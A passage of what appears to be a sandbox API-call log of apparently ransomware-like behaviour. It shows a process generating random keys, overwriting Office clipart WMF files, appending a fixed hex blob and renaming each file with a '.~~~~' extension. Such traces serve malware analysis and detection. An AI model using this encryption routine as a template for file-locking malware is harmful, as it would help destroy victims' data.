	[0109.445] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0109.445] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.446] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.446] CloseHandle (hObject=0x130) returned 1
	[0109.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0109.446] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf.~~~~")) returned 1
	[0109.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0109.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0109.447] GetLastError () returned 0x0
	[0110.275] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0110.277] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0110.277] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0110.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0110.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0110.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0110.278] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23026775672) returned 1
	[0110.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xab571110, dwHighDateTime=0x1d60e1e)) 
	[0110.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0110.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0110.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0110.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808bf0
	[0110.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0110.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808bf0 | out: hHeap=0x300000) returned 1
	[0110.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2943530
	[0110.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0110.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2943530 | out: hHeap=0x300000) returned 1
	[0110.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282b4b0
	[0110.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.278] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0110.279] GetLastError () returned 0x0
	[0110.279] GetLastError () returned 0x0
	[0110.279] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0110.279] GetLastError () returned 0x0
	[0110.279] GetLastError () returned 0x0
	[0110.281] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff9b4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.281] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x64c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x64c, lpOverlapped=0x0) returned 1
	[0110.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.283] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.283] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.283] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.283] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.283] CloseHandle (hObject=0x13c) returned 1
	[0110.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.283] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf.~~~~")) returned 1
	[0110.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0110.285] GetLastError () returned 0x0
	[0110.285] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0110.287] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0110.287] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0110.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0110.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0110.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0110.287] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23027715014) returned 1
	[0110.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xab597270, dwHighDateTime=0x1d60e1e)) 
	[0110.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0110.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0110.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0110.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808c28
	[0110.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0110.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808c28 | out: hHeap=0x300000) returned 1
	[0110.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2943530
	[0110.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0110.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2943530 | out: hHeap=0x300000) returned 1
	[0110.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282b120
	[0110.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.288] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0110.288] GetLastError () returned 0x0
	[0110.288] GetLastError () returned 0x0
	[0110.288] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0110.288] GetLastError () returned 0x0
	[0110.289] GetLastError () returned 0x0
	[0110.291] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffcdf0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.291] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x3210, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x3210, lpOverlapped=0x0) returned 1
	[0110.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.293] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.293] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.293] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.293] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.295] CloseHandle (hObject=0x13c) returned 1
	[0110.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.295] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf.~~~~")) returned 1
	[0110.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.297] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0110.297] GetLastError () returned 0x0
	[0110.297] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0110.298] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0110.298] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0110.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0110.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0110.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0110.298] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23028852353) returned 1
	[0110.299] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xab597270, dwHighDateTime=0x1d60e1e)) 
	[0110.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0110.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0110.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0110.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808c60
	[0110.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0110.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808c60 | out: hHeap=0x300000) returned 1
	[0110.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2943530
	[0110.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0110.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2943530 | out: hHeap=0x300000) returned 1
	[0110.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282b5e0
	[0110.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.299] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0110.300] GetLastError () returned 0x0
	[0110.300] GetLastError () returned 0x0
	[0110.300] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0110.300] GetLastError () returned 0x0
	[0110.300] GetLastError () returned 0x0
	[0110.304] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff83ba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.304] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x7c46, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x7c46, lpOverlapped=0x0) returned 1
	[0110.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.306] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.306] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.306] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.306] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.306] CloseHandle (hObject=0x13c) returned 1
	[0110.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.306] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf.~~~~")) returned 1
	[0110.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0110.307] GetLastError () returned 0x0
	[0110.308] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942208) returned 1
	[0110.309] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0110.309] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0110.310] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0110.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0110.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0110.310] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23029984317) returned 1
	[0110.310] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xab5bd3d0, dwHighDateTime=0x1d60e1e)) 
	[0110.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0110.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0110.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0110.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808c98
	[0110.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0110.310] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808c98 | out: hHeap=0x300000) returned 1
	[0110.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2943530
	[0110.310] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0110.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.310] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2943530 | out: hHeap=0x300000) returned 1
	[0110.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282b678
	[0110.310] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.310] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0110.311] GetLastError () returned 0x0
	[0110.311] GetLastError () returned 0x0
	[0110.311] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0110.311] GetLastError () returned 0x0
	[0110.311] GetLastError () returned 0x0
	[0110.314] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffab58, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.314] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x54a8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x54a8, lpOverlapped=0x0) returned 1
	[0110.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.316] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.316] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.429] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.429] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.429] CloseHandle (hObject=0x13c) returned 1
	[0110.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.439] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf.~~~~")) returned 1
	[0110.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0110.547] GetLastError () returned 0x0
	[0110.547] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0110.548] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.548] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0110.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0110.548] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23053848727) returned 1
	[0110.548] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xab7f8870, dwHighDateTime=0x1d60e1e)) 
	[0110.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0110.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0110.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0110.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f95f0
	[0110.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f95f0 | out: hHeap=0x300000) returned 1
	[0110.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282b710
	[0110.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.549] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0110.549] GetLastError () returned 0x0
	[0110.549] GetLastError () returned 0x0
	[0110.549] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0110.549] GetLastError () returned 0x0
	[0110.550] GetLastError () returned 0x0
	[0110.552] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffdfd8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.553] WriteFile (in: hFile=0x140, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0x2028, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x24dfec0*=0x2028, lpOverlapped=0x0) returned 1
	[0110.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
